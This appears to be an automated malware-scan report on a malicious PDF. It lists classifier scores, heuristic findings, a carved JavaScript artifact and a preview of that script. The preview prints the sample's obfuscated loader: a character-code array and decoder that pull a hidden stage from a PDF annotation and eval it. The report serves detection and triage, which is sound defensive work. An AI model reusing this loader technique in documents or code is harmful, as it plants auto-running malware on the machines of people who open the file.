MALICIOUS
156
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file was flagged by a machine learning classifier as highly malicious. Static analysis revealed embedded JavaScript, including the use of String.fromCharCode, which is often employed to obfuscate malicious code. The presence of a JavaScript stream and a JavaScript action strongly suggests that the document is intended to download and execute a second-stage payload. No specific family could be identified.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 5
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Obfuscated Pidief-style JavaScript loader (stage not decoded) high PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADERPDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
for (var i=0; i < list.length; i++) { result += String.fromCharCode(list[i] - jump); } -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0005_000.js |
pdf-javascript-stream | PDF /JS object 5 at offset 0x107 | 1162 bytes |
SHA-256: c09cce6ca3001aa4fc687e7595243eb0dc3da819ff999ce64900fd01e97532b8 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
sourceCode = "105,102,32,40,49,41,32,123,118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,97,37,98,39,46,114,101,112,108,97,99,101,40,47,91,97,98,93,47,103,44,32,39,39,41,41,59,118,97,114,32,116,104,32,61,32,101,118,101,110,116,46,116,97,114,103,101,116,59,32,115,32,61,32,116,104,91,39,117,110,101,115,39,32,43,32,39,99,97,112,101,39,93,32,40,108,41,32,59,118,97,114,32,101,32,61,32,97,112,112,91,39,101,118,39,32,43,32,39,97,108,39,93,59,32,101,40,115,41,59,125";
function decrypt(str, jump){
var result = "";
var list = str.split(',');
for (var i=0; i < list.length; i++) {
result += String.fromCharCode(list[i] - jump);
}
return result;
}
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